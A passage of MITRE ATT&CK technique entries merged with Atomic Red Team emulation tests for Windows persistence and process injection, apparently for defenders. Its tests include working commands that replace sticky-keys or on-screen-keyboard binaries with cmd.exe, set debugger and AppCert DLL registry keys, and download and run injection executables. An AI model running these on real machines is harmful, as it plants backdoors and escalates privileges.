Alto Unit 42 Google Workspace Domain Wide Delegation 2023 description: Zohar Zigdon. (2023, November 30). Exploring a Critical Risk in Google Workspace's Domain-Wide Delegation Feature. Retrieved January 16, 2024. url: https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1055.013: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197 type: attack-pattern created: '2020-01-14T17:19:50.978Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.013 url: https://attack.mitre.org/techniques/T1055/013 - url: https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx description: Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017. source_name: Microsoft TxF - url: https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx description: Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017. source_name: Microsoft Basic TxF Concepts - url: https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx description: Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017. source_name: Microsoft Where to use TxF - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf description: 'Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.' source_name: BlackHat Process Doppelgänging Dec 2017 - url: https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/ description: hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017. source_name: hasherezade Process Doppelgänging Dec 2017 - url: https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx description: Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017. source_name: Microsoft PsSetCreateProcessNotifyRoutine routine modified: '2022-04-25T14:00:00.188Z' name: Process Doppelgänging description: "Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: |- Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017) Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Metadata' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Anti-virus - Application control x_mitre_permissions_required: - Administrator - SYSTEM - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1574.005: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Travis Smith, Tripwire - Stefan Kanthak object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979 type: attack-pattern created: '2020-03-13T11:12:18.558Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1574.005 url: https://attack.mitre.org/techniques/T1574/005 - source_name: mozilla_sec_adv_2012 url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/ description: Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017. - source_name: Executable Installers are Vulnerable url: https://seclists.org/fulldisclosure/2015/Dec/34 description: 'Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.' modified: '2020-10-27T14:49:39.188Z' name: Executable Installer File Permissions Weakness description: |- Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Service: Service Metadata' - 'File: File Modification' - 'File: File Creation' - 'Process: Process Creation' - 'Module: Module Load' x_mitre_permissions_required: - Administrator - User x_mitre_effective_permissions: - Administrator - User - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1546.008: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Event Triggered Execution: Accessibility Features' description: |- Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit) Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse) * On-Screen Keyboard: C:\Windows\System32\osk.exe * Magnifier: C:\Windows\System32\Magnify.exe * Narrator: C:\Windows\System32\Narrator.exe * Display Switcher: C:\Windows\System32\DisplaySwitch.exe * App Switcher: C:\Windows\System32\AtBroker.exe kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Paul Speulstra, AECOM Global Security Operations Center x_mitre_deprecated: false x_mitre_detection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Creation' - 'File: File Modification' - 'Windows Registry: Windows Registry Key Modification' x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - Administrator type: attack-pattern id: attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5 created: '2020-01-24T14:32:40.315Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/008 external_id: T1546.008 - source_name: Narrator Accessibility Abuse description: Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020. url: https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html - source_name: FireEye Hikit Rootkit description: 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.' url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html - source_name: DEFCON2016 Sticky Keys description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017. url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom - source_name: Tilbury 2014 description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014. url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.008 atomic_tests: - name: Attaches Command Prompt as a Debugger to a List of Target Processes auto_generated_guid: 3309f53e-b22b-4eb6-8fd2-a6cf58b355a9 description: | Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables. Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe. supported_platforms: - windows input_arguments: parent_list: description: 'Comma separated list of system binaries to which you want to attach each #{attached_process}. Default: "osk.exe" ' type: string default: osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe attached_process: description: 'Full path to process to attach to target in #{parent_list}. Default: cmd.exe ' type: path default: C:\windows\system32\cmd.exe executor: command: | $input_table = "#{parent_list}".split(",") $Name = "Debugger" $Value = "#{attached_process}" Foreach ($item in $input_table){ $item = $item.trim() $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" IF(!(Test-Path $registryPath)) { New-Item -Path $registryPath -Force New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force } ELSE { New-ItemProperty -Path $registryPath -Name $name -Value $Value } } cleanup_command: | $input_table = "#{parent_list}".split(",") Foreach ($item in $input_table) { $item = $item.trim() reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" /v Debugger /f 2>&1 | Out-Null } name: powershell elevation_required: true - name: Replace binary of sticky keys auto_generated_guid: 934e90cf-29ca-48b3-863c-411737ad44e3 description: 'Replace sticky keys binary (sethc.exe) with cmd.exe ' supported_platforms: - windows executor: command: | IF NOT EXIST C:\Windows\System32\sethc_backup.exe (copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\sethc.exe /A icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe cleanup_command: 'copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe ' name: command_prompt elevation_required: true - name: Create Symbolic Link From osk.exe to cmd.exe auto_generated_guid: 51ef369c-5e87-4f33-88cd-6d61be63edf2 description: 'Replace accessiblity executable with cmd.exe to provide elevated command prompt from login screen without logging in. ' supported_platforms: - windows executor: command: | IF NOT EXIST %windir%\System32\osk.exe.bak (copy %windir%\System32\osk.exe %windir%\System32\osk.exe.bak) ELSE ( pushd ) takeown /F %windir%\System32\osk.exe /A icacls %windir%\System32\osk.exe /grant Administrators:F /t del %windir%\System32\osk.exe mklink %windir%\System32\osk.exe %windir%\System32\cmd.exe cleanup_command: | takeown /F %windir%\System32\osk.exe /A icacls %windir%\System32\osk.exe /grant Administrators:F /t del %windir%\System32\osk.exe copy /Y %windir%\System32\osk.exe.bak %windir%\System32\osk.exe icacls %windir%\system32\osk.exe /inheritance:d icacls %windir%\system32\osk.exe /setowner "NT SERVICE\TrustedInstaller" icacls %windir%\System32\osk.exe /grant "NT SERVICE\TrustedInstaller":F /t icacls %windir%\system32\osk.exe /grant:r SYSTEM:RX icacls %windir%\system32\osk.exe /grant:r Administrators:RX name: command_prompt elevation_required: true - name: Atbroker.exe (AT) Executes Arbitrary Command via Registry Key auto_generated_guid: 444ff124-4c83-4e28-8df6-6efd3ece6bd4 description: 'Executes code specified in the registry for a new AT (Assistive Technologies). ' supported_platforms: - windows executor: command: | reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f atbroker /start malware_test cleanup_command: 'reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f ' name: command_prompt elevation_required: true - name: Auto-start application on user logon auto_generated_guid: 7125eba8-7b30-426b-9147-781d152be6fb description: | Executes code specified in the registry on new user logon session automatically by registration of new AT and modification of configuration value. This test will register new AT named malware_test with code for cmd.exe and add a configuration value for the code to be run during user logon session. supported_platforms: - windows executor: command: | reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /t REG_SZ /d malware_test /f cleanup_command: | reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /f name: command_prompt elevation_required: true T1055.004: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605 type: attack-pattern created: '2020-01-14T01:29:43.786Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.004 url: https://attack.mitre.org/techniques/T1055/004 - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017. source_name: Microsoft APC - url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/ description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ Code Injection Technique Discovered. Retrieved May 24, 2018. source_name: CyberBit Early Bird Apr 2018 - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.' source_name: ENSIL AtomBombing Oct 2016 - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017. source_name: Microsoft Atom Table - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 modified: '2022-04-25T14:00:00.188Z' name: 'Process Injection: Asynchronous Procedure Call' description: "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Access' - 'Process: Process Modification' x_mitre_defense_bypassed: - Application control - Anti-virus spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1055.004 atomic_tests: - name: Process Injection via C# auto_generated_guid: 611b39b7-e243-4c81-87a4-7145a90358b1 description: | Process Injection using C# reference: https://github.com/pwndizzle/c-sharp-memory-injection Excercises Five Techniques 1. Process injection 2. ApcInjectionAnyProcess 3. ApcInjectionNewProcess 4. IatInjection 5. ThreadHijack Upon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout. supported_platforms: - windows input_arguments: exe_binary: description: Output Binary type: path default: PathToAtomicsFolder\T1055.004\bin\T1055.exe dependency_executor_name: powershell dependencies: - description: "#{exe_binary} must be exist on system.\n" prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.004/bin/T1055.exe" -OutFile "#{exe_binary}" executor: command: '"#{exe_binary}" ' name: command_prompt - name: EarlyBird APC Queue Injection in Go auto_generated_guid: 73785dd2-323b-4205-ab16-bb6f06677e14 description: "Creates a process in a suspended state and calls QueueUserAPC WinAPI to add a UserAPC to the child process that points to allocated shellcode. \nResumeThread is called which then calls NtTestAlert to execute the created UserAPC which then executes the shellcode.\nThis technique allows for the early execution of shellcode and potentially before AV/EDR can hook functions to support detection.\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)\n- References: \n - https://www.bleepingcomputer.com/news/security/early-bird-code-injection-technique-helps-malware-stay-undetected/\n \ - https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection\n" supported_platforms: - windows input_arguments: spawn_process_path: description: Path of the binary to spawn type: string default: C:\Windows\System32\werfault.exe spawn_process_name: description: Name of the process to spawn type: string default: werfault executor: name: powershell elevation_required: false command: '$PathToAtomicsFolder\T1055.004\bin\x64\EarlyBird.exe -program "#{spawn_process_path}" -debug ' cleanup_command: | Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name "#{spawn_process_name}" -ErrorAction SilentlyContinue - name: Remote Process Injection with Go using NtQueueApcThreadEx WinAPI auto_generated_guid: 4cc571b1-f450-414a-850f-879baf36aa06 description: "Uses the undocumented NtQueueAPCThreadEx WinAPI to create a \"Special User APC\" in the current thread of the current process to execute shellcode. \nSince the shellcode is loaded and executed in the current process it is considered local shellcode execution.\n\nSteps taken with this technique\n1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space\n3. Change the memory page permissions to Execute/Read with VirtualProtect\n4. Get a handle to the current thread\n5. Execute the shellcode in the current thread by creating a Special User APC through the NtQueueApcThreadEx function\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n- References:\n - https://repnz.github.io/posts/apc/user-apc/\n - https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html\n \ - https://0x00sec.org/t/process-injection-apc-injection/24608\n - https://twitter.com/aionescu/status/992264290924032005\n \ - http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505\n" supported_platforms: - windows executor: name: powershell elevation_required: false command: "$PathToAtomicsFolder\\T1055.004\\bin\\x64\\NtQueueApcThreadEx.exe -debug\n" cleanup_command: Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue T1546.009: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c type: attack-pattern created: '2020-01-24T14:47:41.795Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1546.009 url: https://attack.mitre.org/techniques/T1546/009 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://forum.sysinternals.com/appcertdlls_topic12546.html description: Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017. source_name: Sysinternals AppCertDlls Oct 2007 modified: '2022-04-25T14:00:00.188Z' name: 'Event Triggered Execution: AppCert DLLs' description: "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Module: Module Load' - 'Command: Command Execution' - 'Process: OS API Execution' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' x_mitre_permissions_required: - Administrator - SYSTEM x_mitre_effective_permissions: - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1546.009 atomic_tests: - name: Create registry persistence via AppCert DLL auto_generated_guid: a5ad6104-5bab-4c43-b295-b4c44c7c6b05 description: "Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. \nOnce the computer restarted, the DLL will be loaded in multiple processes and write an \n'AtomicTest.txt' file in C:\\Users\\Public\\ to validate that the DLL executed succesfully.\n\nReference: https://skanthak.homepage.t-online.de/appcert.html\n" supported_platforms: - windows input_arguments: dll_path: description: path of dll to use type: path default: PathToAtomicsFolder\T1546.009\bin\AtomicTest.dll reboot: description: Set value to $true if you want to automatically reboot the machine type: string default: "$false" dependency_executor_name: powershell dependencies: - description: 'File to copy must exist on disk at specified location (#{dll_path}) ' prereq_command: 'if (Test-Path "#{dll_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll" -OutFile "#{dll_path}" executor: command: "Copy-Item \"#{dll_path}\" C:\\Users\\Public\\AtomicTest.dll -Force\nreg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /t REG_EXPAND_SZ /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nif(#{reboot}){Restart-Computer} \n" cleanup_command: | reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /f Remove-Item 